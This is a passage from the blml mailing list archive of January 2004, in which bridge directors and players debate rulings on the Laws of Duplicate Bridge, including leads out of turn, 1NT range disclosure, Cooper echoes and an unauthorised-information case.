give us a clue: what sort of unacceptable reason? >=20 > I really think you would be seriously wasting your time, and your > *investigation* is going to be very embarrassing. There comes a time = to > just let things go. Agreed - sometimes. But tell me: Have you ever ruled a violation of Law 74B1 and considered = the offender to be demonstrating contempt of the game? Sven From t.kooyman@worldonline.nl Wed Jan 7 20:42:56 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 7 Jan 2004 21:42:56 +0100 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> <3FFC5D19.5070404@hdw.be> Message-ID: <002c01c3d560$2f10c230$6bf8f0c3@LNV> > > Second question. > > Suppose an SO has issued system regulations under which a 1NT opening > of 12-14 is classed pink, while any lesser openings are classed > purple. In a particular tournament, purple systems are not allowed. > > The hand above turns up (AT98 AT98 KT9 T9) and some competitor opens > it 1NT (announced as 12-14). Would you consider this a purple system? > We need to express our questions carefully. What does an actual opening of 1NT have to do with the question whether the system as used is purple or not. And how can you say that a 'lesser openings are classed purple'? We have a tournament in which systems where the range for the 1NT -opening gets below 12 points are not allowed. So no pair can have a convention card showing such a weak 1 NT- opening. A pair opens 1NT with the cards as given above. Normal bridge players wouldn't dare to call a TD for it, but apparently we have a couple. When questioned the player will say: 'I considered my cards as falling in the range which is described on my card'. So he is not trying to say that he deviated from the agreement, no this call is part of the agreement. Now it is the job of the TD to judge this case. And my advise to all TD's in the world is to concur with this evaluation and to explain to the other side that they must be misled by rumours based on 'puntenkul'. Hopefully we still agree. ton From richard.hills@immi.gov.au Wed Jan 7 22:42:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 08:42:07 +1000 Subject: [blml] 2 out of turn opening leads Message-ID: Sven asked: >But tell me: Have you ever ruled a violation of Law >74B1 and considered the offender to be demonstrating >contempt of the game? RJH reasked: On the initial facts posted, is it also possible that there has been a violation of Law 72B2? Is it possible for the TD to rule that the immediate second lead out of turn was an intentional infraction, with the intent of benefiting by confusing the TD? (Of course, I note that a subsequent posting by the actual TD revealed that the actual second lead out of turn was entirely innocent. But my point is that an immediate second lead out of turn creates a prima facie indication that a violation of Law 72B2 may have occurred.) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne.burrows@xtra.co.nz Wed Jan 7 21:57:54 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 8 Jan 2004 10:57:54 +1300 Subject: [blml] Range restrictions In-Reply-To: <002c01c3d560$2f10c230$6bf8f0c3@LNV> Message-ID: <000001c3d569$4edbb5d0$b2ce36d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Thursday, 8 January 2004 8:43 a.m. > To: Herman De Wael; blml > Subject: Re: [blml] Range restrictions > > > > > > Second question. > > > > Suppose an SO has issued system regulations under which a > 1NT opening > > of 12-14 is classed pink, while any lesser openings are classed > > purple. In a particular tournament, purple systems are not allowed. > > > > The hand above turns up (AT98 AT98 KT9 T9) and some competitor opens > > it 1NT (announced as 12-14). Would you consider this a > purple system? > > > > > > We need to express our questions carefully. What does an > actual opening of > 1NT have to do with the question whether the system as used > is purple or > not. And how can you say that a 'lesser openings are classed purple'? > > We have a tournament in which systems where the range for the > 1NT -opening > gets below 12 points are not allowed. So no pair can have a > convention card > showing such a weak 1 NT- opening. A pair opens 1NT with the > cards as given > above. Normal bridge players wouldn't dare to call a TD for it, but > apparently we have a couple. When questioned the player will say: 'I > considered my cards as falling in the range which is > described on my card'. > So he is not trying to say that he deviated from the > agreement, no this call > is part of the agreement. Now it is the job of the TD to > judge this case. > And my advise to all TD's in the world is to concur with this > evaluation and > to explain to the other side that they must be misled by > rumours based on > 'puntenkul'. > > Hopefully we still agree. I do not agree. The regulations should not legislate for 'good' judgement and against 'bad' judgement. Therefore if another player says that I considered that my ... QJ2 Q32 K32 J432 falls within the range 12-14 then you must also accept that players 'inferior' judgement. Wayne > > ton > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Wed Jan 7 22:56:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 08:56:07 +1000 Subject: [blml] Coprolites coparcenary Message-ID: RJH wrote: >>South West Pacific Teams, Table One >> >>Dlr: East >>Vul: East-West >> >>The bidding has gone: >> >>WEST NORTH EAST SOUTH >>--- --- 1H(1) 1NT(2) >>Pass 2D(3) Pass 3C(4) >>Pass 4H(5) Pass ? >> >>(1) Artificial, a fertiliser bid, 0-7 hcp, any shape >>(2) Artificial, a game force, any shape >>(3) Artificial, 6+ hcp with hearts >>(4) Natural >>(5) Undiscussed >> >>You, South, hold: >> >>AK2 >>K9 >>void >>AK765432 >> >>What call do you make? >>What other calls do you consider making? DWS asked: >Even if the meaning of #5 is undiscussed I would expect >a pair to know whether a jump in a forcing situation >generally is > >a] Signoff [principle of fast arrival] >b] Encouraging >c] Fit-jump >d] Solid suit > >and this affects my answer. RJH replies: Depending upon which analogous partnership agreement is relevant, the 4H call could be either: b] Encouraging, or c] Fit-jump, or e] Advance cuebid, agreeing clubs as trumps What call do you make? What other calls do you consider making? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Jan 7 23:39:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 09:39:15 +1000 Subject: [blml] Morality (was Range restrictions) Message-ID: E.B. White: >>>Democracy is the recurrent suspicion that more >>>than half of the people are right more than half >>>of the time. Todd M. Zimnoch: >>Cute, blah blah. The WBF and its NBOs are >>businesses, not democracies and for as much as >>free-market economies and democracies go hand-in- >>hand, they are not the same thing, especially not >>when one company commands a monopoly on a market. Henry David Thoreau: >All generalizations are false, including this one. Richard James Hills: The number of the salaried administrators employed by the ABF can be counted on the fingers of Frodo's left hand. Meanwhile, there are a vast number of unpaid volunteers assisting ABF administration for the benefit of Aussie bridge players. (I am a minor unpaid cog in the wheel, due to my recently acquired role as President of the Bridge Federation of the Australian Capital Territory.) Due to the not-for-profit nature of the ABF, and the democratic elections which choose the senior officials of the ABF, I do not think that the ABF can be derided as a "business" and correspondingly be excluded from its status as a "democracy". As for the other point, the ABF does not command a monopoly in the market. More than half of the bridge clubs in Canberra are not affiliated to the ABF. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ardelm@bigpond.net.au Wed Jan 7 22:48:51 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Thu, 08 Jan 2004 09:48:51 +1100 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: <5.2.0.9.0.20040108094728.00b746e8@pop-server.bigpond.net.au> At 04:46 PM 7/01/2004 +0000, you wrote: >Laval Dubreuil wrote >>Hi Blmrs, >> >>Yesterday in my club: >> >>South is dealer but East lead (face up) with CA. >>Routine: dealer asked West "no Club lead" and CA returned in hand. >> >>Before West selected his card, Est made an other OTOL with HQ.... >> >>HQ becomes a major penalty card but ? Eventually you may be able to forbid West to lead in every suit. Tony (Sydney) From richard.hills@immi.gov.au Thu Jan 8 00:09:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 10:09:59 +1000 Subject: [blml] Cooper echo Message-ID: >>>#%# Okay, sophistry argument number three. Law 68A >>>defines that a claim has to fulfil at least one of >>>three preconditions: >>> >>>(a) Any statement.....win a specific number of >>> tricks..... >>> >>>(b) .....suggests that play be curtailed..... >>> >>>(c) .....shows.....cards (unless..... >>> >>>A Cooper Echo does not fit into categories (a) or >>>(c). So, the only question remains, can a Cooper >>>Echo be square-pegged into the round-hole of >>>category (b)? >>> { Richard } #%# >>+=3D+ Well, of course, I can only express an opinion. But >>that opinion would be that the echo makes an assertion >>about the winning of a specified number of tricks. #%# Kaplanesque language lesson -> Winning a *specified* number of tricks is _not_ synonymous with winning a *specific* number of tricks. { Richard } #%# >>If a Director chooses to interpret it so I doubt that >>he would be denied the support of the national >>authority. >> I cannot remember exactly who it was, but someone >>on this list has argued that we should take the law as it >>is written and apply what it says. A person holding that >>opinion would be hard put not to agree that the echo is >>a violation of procedure in the terms, read accordingly, >>of Law 74C3. >> ~ Grattan ~ +=3D+ Law 74C3: >The following are considered violations of procedure: >indicating the expectation or intention of winning or >losing a trick that has not been completed. #%# As Nigel Guthrie pointed out earlier, an interpretation of Law 74C3 which was sufficiently draconian to outlaw the use of Cooper Echos, would also be sufficently draconian to outlaw all bids, doubles and redoubles. Since bids, doubles and redoubles always indicate the expectation or intention of winning some future tricks, a Grattanesque national authority would have no choice but to rule that the only legal auctions in that NBO would be All Pass. { Richard } #%# -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Thu Jan 8 00:05:12 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 00:05:12 +0000 Subject: [blml] Coprolites coparcenary In-Reply-To: References: Message-ID: <65jxyLO46J$$Ewpz@blakjak.demon.co.uk> RJH wrote >>>South West Pacific Teams, Table One >>> >>>Dlr: East >>>Vul: East-West >>> >>>The bidding has gone: >>> >>>WEST NORTH EAST SOUTH >>>--- --- 1H(1) 1NT(2) >>>Pass 2D(3) Pass 3C(4) >>>Pass 4H(5) Pass ? >>> >>>(1) Artificial, a fertiliser bid, 0-7 hcp, any shape >>>(2) Artificial, a game force, any shape >>>(3) Artificial, 6+ hcp with hearts >>>(4) Natural >>>(5) Undiscussed >>> >>>You, South, hold: >>> >>>AK2 >>>K9 >>>void >>>AK765432 >>> >>>What call do you make? >>>What other calls do you consider making? > >DWS asked: > >>Even if the meaning of #5 is undiscussed I would expect >>a pair to know whether a jump in a forcing situation >>generally is >> >>a] Signoff [principle of fast arrival] >>b] Encouraging >>c] Fit-jump >>d] Solid suit >> >>and this affects my answer. > >RJH replies: > >Depending upon which analogous partnership agreement is >relevant, the 4H call could be either: > >b] Encouraging, or >c] Fit-jump, or >e] Advance cuebid, agreeing clubs as trumps > >What call do you make? >What other calls do you consider making? If a pair really do not know what they play in relevant positions then anything could be right except pass. I am also pretty sure that I have commented on this hand a few years back and am afraid I am going to disagree with myself! Of course, in practice I would bid 4S to delay the decision for one more round as to what I am going to take it as! Let us look at the possibilities to see: b] Encouraging. You may have a play for 7H opposite not much if the hearts are good. 4S looks good to see if pd will do anything except bid 5H. c] Fit jump: 7C is clear after checking for the HA: probably 4S to try to get a heart cue. e] Cue-bid [not "advance cue bid", surely: that means a forcing natural bid, shown to be a cue-bid by the later auction]: 7C is clear. It is difficult to see any alternative to 4S. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Jan 8 00:07:06 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 00:07:06 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: <000501c3d557$52e84290$6900a8c0@WINXP> References: <000501c3d557$52e84290$6900a8c0@WINXP> Message-ID: <3Z3y6mOq8J$$Ewqm@blakjak.demon.co.uk> Sven Pran wrote >> David Stevenson >> OK, give us a clue: what sort of unacceptable reason? >> >> I really think you would be seriously wasting your time, and your >> *investigation* is going to be very embarrassing. There comes a time to >> just let things go. >Agreed - sometimes. > >But tell me: Have you ever ruled a violation of Law 74B1 and considered the >offender to be demonstrating contempt of the game? No. But if I were it would be because it had been drawn to my attention by the opponents. When a player just acts like an idiot I do not start embarrassing everyone in sight. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From adam@irvine.com Thu Jan 8 00:27:47 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 07 Jan 2004 16:27:47 -0800 Subject: [blml] Coprolites coparcenary In-Reply-To: Your message of "Thu, 08 Jan 2004 08:56:07 +1000." Message-ID: <200401080027.QAA23156@mailhub.irvine.com> RJH wrote: > > >>South West Pacific Teams, Table One > >> > >>Dlr: East > >>Vul: East-West > >> > >>The bidding has gone: > >> > >>WEST NORTH EAST SOUTH > >>--- --- 1H(1) 1NT(2) > >>Pass 2D(3) Pass 3C(4) > >>Pass 4H(5) Pass ? > >> > >>(1) Artificial, a fertiliser bid, 0-7 hcp, any shape > >>(2) Artificial, a game force, any shape > >>(3) Artificial, 6+ hcp with hearts > >>(4) Natural > >>(5) Undiscussed > >> > >>You, South, hold: > >> > >>AK2 > >>K9 > >>void > >>AK765432 > >> > >>What call do you make? > >>What other calls do you consider making? > > DWS asked: > > >Even if the meaning of #5 is undiscussed I would expect > >a pair to know whether a jump in a forcing situation > >generally is > > > >a] Signoff [principle of fast arrival] > >b] Encouraging > >c] Fit-jump > >d] Solid suit > > > >and this affects my answer. > > RJH replies: > > Depending upon which analogous partnership agreement is > relevant, the 4H call could be either: > > b] Encouraging, or > c] Fit-jump, or > e] Advance cuebid, agreeing clubs as trumps Personally, I'd assume that *no* "analogous partnership agremeent" is relevant unless it involves an auction in which one partner makes a jump IN A SUIT HE HAD PREVIOUSLY BID NATURALLY. 2D ought to be treated as a natural heart bid here; so unless the partnership plays several other sequences in which a player rebids his own suit to show support for his partner's suit, I'd assume 4H is simply a natural heart rebid. I'm mentioning this because from my point of view, using such a sequence to support partner seems quite uncommon (except that 1m-1M-4m is sometimes played as showing four-card support for responder's major); but bidding practices may differ elsewhere in the world. -- Adam From cyaxares@lineone.net Thu Jan 8 01:54:26 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Thu, 8 Jan 2004 01:54:26 -0000 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> Message-ID: <005001c3d58a$ed120490$6347e150@endicott> Grattan Endicott To: "blml" Sent: Wednesday, January 07, 2004 1:25 PM Subject: Re: [blml] Range restrictions > > > To me the combination of unannounced and > > implicit is dubious, but I think > > it means that bridge judgement is involved. < +=+ What a comic thought. What has judgement to do with what a player agrees with his partner? +=+ < > > Let us first try to define what 'unannounced > > implicit understanding' means. < +=+ Well let me see if I can help. An implicit agreement arises, most commonly, from repeated experiences in the partnership. In another connection the WBFLC has decided that a partnership understanding exists when the frequency of occurrence is sufficient for the partner to take the possibility into account. 'Unannounced' means that it is an agreement you have not revealed to opponents. So if a player opens 1NT on 11 counts often enough for his partner to recognize that he does so and anticipate the possibility, it is an implicit agreement, and if the partners describe the bid as 12-14 they are not making their implicit agreement "fully and freely available to the opponents" (sic). Certainly a player can use judgement on a particular hand, but if he resorts to 'judgement' often enough for his partner to anticipate it then it has become his method, known to partner, the laws say it must be disclosed and the SO has the right, indeed the duty, to insist on it. ~ Grattan ~ +=+ From nigel.guthrie@ntlworld.com Thu Jan 8 02:47:26 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 8 Jan 2004 02:47:26 -0000 Subject: [blml] Coprolites coparcenary References: <65jxyLO46J$$Ewpz@blakjak.demon.co.uk> Message-ID: <00dd01c3d591$c0c954e0$129468d5@tinyhrieuyik> [Richard james Hills] wrote > Teams EW/E > WEST NORTH EAST SOUTH > --- --- 1H(1) 1NT(2) > Pass 2D(3) Pass 3C(4) > Pass 4H(5) Pass ? > (1) Artificial, a fertiliser bid, 0-7 hcp, any shape > (2) Artificial, a game force, any shape > (3) Artificial, 6+ hcp with hearts > (4) Natural > (5) Encouraging/Fit Jump/Advance cue but undiscussed > You, South, hold: AK2 K9 - AK765432 [Nigel] IMO 4S=10 7C=10 6C=7 5N=5 5D=4 I don't think it will work, but I mark time with 4S, in case partner's next bid clarifies the meaning of 4H. No Todd, I'm afraid I still won't call the TD on myself. IMO my 4S bid is perfectly ethical, providing partner's 4H was in tempo; Furthermore, if my bid is in tempo, IMO, it does not submit partner to UI pressure. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Thu Jan 8 03:36:06 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 8 Jan 2004 03:36:06 -0000 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> <005001c3d58a$ed120490$6347e150@endicott> Message-ID: <00e701c3d598$a06dc6c0$129468d5@tinyhrieuyik> > [Grattan Endicott] > Certainly a player can use judgement on a > particular hand, but if he resorts to 'judgement' > often enough for his partner to anticipate it then it > has become his method, known to partner, the > laws say it must be disclosed and the SO has the > right, indeed the duty, to insist on it. [Nigel] Only the most die-hard prevaricator will disagree with your general proposition, Grattan. But please may we address the specific example, under discussion. Suppose that *by agreement* you would always open 1NT on an 11 count with good intermediates like... AT98 AT98 K98 T9 Q1. After the auction 1N-3N, during the play, an opponent asks about the requirements for your 1N opening bid. Is it OK to reply 12-14 HCP? Q2. Suppose that a successful defence is predicated on declarer having only 11 HCP, so defenders play safe instead, only to find that declarer has such a good eleven count, after all. If a more aggressive defence would succeed, should the TD give redress? I have asked this question before, without answer. In case anybody still misses the point, here is yet another example. Some players agree their notrump range as a *good 12* to a *poor 15*. They won't open 1N on the above hand -- or on the other example hand QJx QJx QJx Kxxx But they would open 1N on, say KQx KQx KQx Txxx Is it OK for them to describe their range as 12-14? If instead, they tell the truth, are they stupidly submitting themselves to an unnecessary handicap, as Ton implies? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From richard.hills@immi.gov.au Thu Jan 8 04:39:55 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 14:39:55 +1000 Subject: [blml] Coprolites coparcenary Message-ID: David Stevenson wrote: >If a pair really do not know what they play in >relevant positions then anything could be right >except pass. > >I am also pretty sure that I have commented on this >hand a few years back and am afraid I am going to >disagree with myself! > >Of course, in practice I would bid 4S to delay the >decision for one more round as to what I am going >to take it as! [snip] Richard James Hills replies: A loose definition of "coprolites coparcenary" is "joint heirs to fossilised fertiliser". East-West foolishly used a system with a 1H fertiliser bid. North-South even more foolishly jointly inherited the fertiliser, by refusing to bother writing a written defence to refer to at the table. (Permitted by SO regulation, pursuant to Law 40E2's footnote.) So this is what actually happened (screens not used): Dlr: East QJ7 Vul: EW JT865 973 Q8 T9854 63 A432 Q7 AKJ2 QT8654 void JT9 AK2 K9 void AK765432 WEST NORTH EAST SOUTH --- --- 1H(1) 1NT(2) Pass 2D(3) Pass 6C Pass Pass Pass (1) Artificial, a fertiliser bid, 0-7 hcp, any shape (2) Artificial, a game force, any shape - *but* described by North as 15-18 balanced (3) Artificial, 6+ hcp with hearts - *but* 6-9 hcp with hearts opposite a strong 1NT Result: N/S +920 There was a panel discussion of the deal in the May 2002 edition of the Australian Bridge Directors' Bulletin. Panellist David Stevenson wrote: >>6C is a clear breach of Law 73C. No doubt South >>would have bid 3C if his partner had not >>indicated to him that he did not know what 1NT >>meant. We must get this sort of behaviour out of the >>game. There will always be UI problems, when >>players misjudge a situation, or do not recognise the >>UI, but blatant disregard of the Laws, especially Law >>73C, must be dealt with. So, whether I would give >>an adjustment or not, I would give South a procedural >>penalty, double the standard amount. >> >>Suppose that the auction had proceeded without using >>the UI: what might have happened? North bids 2D >>(transfer), South 3C (not forcing, taken as transfer >>break), North 3H (no game interest), South would now >>agree hearts believing there to be six hearts opposite. >>On a pessimistic day they might stop in 4H, but most >>of the time East will drive to six, which will nearly >>always go off. The minor possibilities are probably >>not great enough for a weighted score, so rule it 6H >>-1 or -2 (at pairs I would definitely weight between >>these two, but it is not worth the bother at teams). >>committee under Law 81C9. An alternative hypothetical auction was mooted by panellist Richard Hills: [snip] >>>An example sequence is: >>> >>>SOUTH NORTH >>>1NT(1) 2D(2) >>>3C(3) 4H(4) >>>7C >>> >>>(1) South thinks this is a game-force, North thinks >>>this is 15-18 balanced >>> >>>(2) South thinks this is positive with hearts, North >>>thinks this is a transfer response to a natural 1NT. >>> >>>(3) South thinks this is showing clubs, North thinks >>>it is a super-accept agreeing hearts. >>> >>>(4) South thinks this is a cue bid agreeing clubs, >>>North thinks he is accepting a game invitation in >>>hearts. [snip] How would you rule? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Thu Jan 8 04:14:32 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 04:14:32 +0000 Subject: [blml] Coprolites coparcenary In-Reply-To: <200401080027.QAA23156@mailhub.irvine.com> References: <200401080027.QAA23156@mailhub.irvine.com> Message-ID: <27nSyCXokN$$EwoL@blakjak.demon.co.uk> Adam Beneschan wrote >> RJH replies: >> >> Depending upon which analogous partnership agreement is >> relevant, the 4H call could be either: >> >> b] Encouraging, or >> c] Fit-jump, or >> e] Advance cuebid, agreeing clubs as trumps > >Personally, I'd assume that *no* "analogous partnership agremeent" is >relevant unless it involves an auction in which one partner makes a >jump IN A SUIT HE HAD PREVIOUSLY BID NATURALLY. Of course. I would not expect anything else ot count as analogous. > 2D ought to be >treated as a natural heart bid here; so unless the partnership plays >several other sequences in which a player rebids his own suit to show >support for his partner's suit, I'd assume 4H is simply a natural >heart rebid. Remember the game forcing bit. For example, how do you play the following in Std Am: 2C - 2H [nat, pos] - 3C - 4H ? That's an 'analogous' sequence, which is why I offered the choices I did. > I'm mentioning this because from my point of view, using >such a sequence to support partner seems quite uncommon (except that >1m-1M-4m is sometimes played as showing four-card support for >responder's major); but bidding practices may differ elsewhere in the >world. Are you sure? Think of jumping to game in your own suit when you have forced to game. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu Jan 8 05:16:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 15:16:12 +1000 Subject: [blml] Range restrictions Message-ID: Nigel Guthrie asked: >But please may we address the specific example, under >discussion. Suppose that *by agreement* you would always >open 1NT on an 11 count with good intermediates like... >AT98 AT98 K98 T9 > >Q1. After the auction 1N-3N, during the play, an >opponent asks about the requirements for your 1N >opening bid. Is it OK to reply 12-14 HCP? Richard James Hills answers: No. The absolute minimum disclosure requirement would be stating, "A hand I assess with about the playing strength of 12-14 hcp. By agreement, our partnership does *not* use Walter the Walrus hand evaluation methods." Better disclosure is, "I am a notorious over-bidder. I never downgrade 15 hcp to a 12-14 1NT opening bid, but I frequently upgrade 11 hcp to a 1NT opening bid. The only time I do not upgrade 11 hcp to a 1NT opening bid is when I am vulnerable against not. However, my pard is somewhat more conservative, and only upgrades an excellent 11 hcp, plus pard will usually downgrade 15 hcp to a 1NT opening when both sides are non-vul." Nigel Guthrie asked: >Q2. Suppose that a successful defence is predicated on >declarer having only 11 HCP, so defenders play safe >instead, only to find that declarer has such a good >eleven count, after all. If a more aggressive defence >would succeed, should the TD give redress? > >I have asked this question before, without answer. Richard James Hills answers: If the partnership has an explicit or implicit agreement to open a 12-14 hcp 1NT opening with 11 hcp, and if the partnership has failed to inform the defenders that the term "hcp" must be taken with a grain of salt, then MI has occurred, and the TD may consider a score adjustment. Nigel Guthrie asked: >In case anybody still misses the point, here is yet >another example. Some players agree their notrump >range as a *good 12* to a *poor 15*. They won't open >1N on the above hand -- or on the other example hand >QJx QJx QJx Kxxx >But they would open 1N on, say >KQx KQx KQx Txxx >Is it OK for them to describe their range as 12-14? Richard James Hills answers: No, that partnership should describe their notrump range as a *good* 12 to a *poor* 15. Nigel Guthrie asked: >If instead, they tell the truth, are they stupidly >submitting themselves to an unnecessary handicap, >as [snip] implies? Richard James Hills: All actively ethical bridge players have a competitive handicap compared to the nazgul bridge players. But we are living with many friends. The nazgul bridge players are undead, tallying their unearned - and therefore meaningless - triumphs. Luke: >>Lay not treasures for yourselves upon earth, where moth >>and rust doth corrupt Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Thu Jan 8 04:23:20 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 04:23:20 +0000 Subject: [blml] Range restrictions In-Reply-To: References: Message-ID: RJH wrote >tallying their unearned - and therefore >meaningless - triumphs. That has written off a billion triumphs in a million different fields of endeavour. Actually, Richard, some people think triumphs count as triumphs. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From jrmayne@mindspring.com Thu Jan 8 04:37:47 2004 From: jrmayne@mindspring.com (John R. Mayne) Date: Wed, 07 Jan 2004 20:37:47 -0800 Subject: [blml] Coprolites coparcenary References: Message-ID: <3FFCDE9B.6090803@mindspring.com> richard.hills@immi.gov.au wrote: > > > [snip] > > So this is what actually happened (screens not used): > > Dlr: East QJ7 > Vul: EW JT865 > 973 > Q8 > T9854 63 > A432 Q7 > AKJ2 QT8654 > void JT9 > AK2 > K9 > void > AK765432 > > WEST NORTH EAST SOUTH > --- --- 1H(1) 1NT(2) > Pass 2D(3) Pass 6C > Pass Pass Pass > > (1) Artificial, a fertiliser bid, 0-7 hcp, any shape > (2) Artificial, a game force, any shape - *but* > described by North as 15-18 balanced > (3) Artificial, 6+ hcp with hearts - *but* 6-9 hcp > with hearts opposite a strong 1NT > > Result: N/S +920 > > There was a panel discussion of the deal in the May > 2002 edition of the Australian Bridge Directors' > Bulletin. I think 5N is a reasonable bid over 2D, getting to 6H, depending on the heart values actually shown. That might get hit; running to 7C then is possible, but 7C is known to be down, while 6H isn't. Unless my brain is broken, a reasonable result in 6H, hit or unhit, is off 4. (Diamond lead, say, ruffed in southbound dummy, then.... nothing good is going to happen. Two entries, using the better one to ruff a second diamond still leads to painful death; leading the heart king off the board is no better.) I'm calling it 6Hx-4. Plus, a 3-imp procedural penalty, and a warning. That should wrap this one up nicely. --JRM From richard.hills@immi.gov.au Thu Jan 8 05:55:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 15:55:06 +1000 Subject: [blml] Triumphs (was Range restrictions) Message-ID: RJH wrote: >>tallying their unearned - and therefore >>meaningless - triumphs. DWS replied: >That has written off a billion triumphs in a >million different fields of endeavour. > >Actually, Richard, some people think triumphs >count as triumphs. RJH relates: In my humble opinion, "some people" are choosing shadow over substance. When the late Keith McNeil died a decade ago, I joined other players at the Aussie National Championships in standing for a minute's silence - respecting Keith McNeil's success as an effective bridge administrator, a witty bridge writer, and an ethical bridge player. But Keith McNeil never quite gained a national bridge triumph. Contrariwise, when Ozymandias died recently, he had scored numerous national triumphs, and gained numerous international caps. So, the organisers of a recent national championship thought it would be a good idea to order the players to stand for a minute's silence. I was the only player in that room who deliberately remained seated. I knew that the late Ozymandias had gained his so-called triumphs by consistent infractions of Law 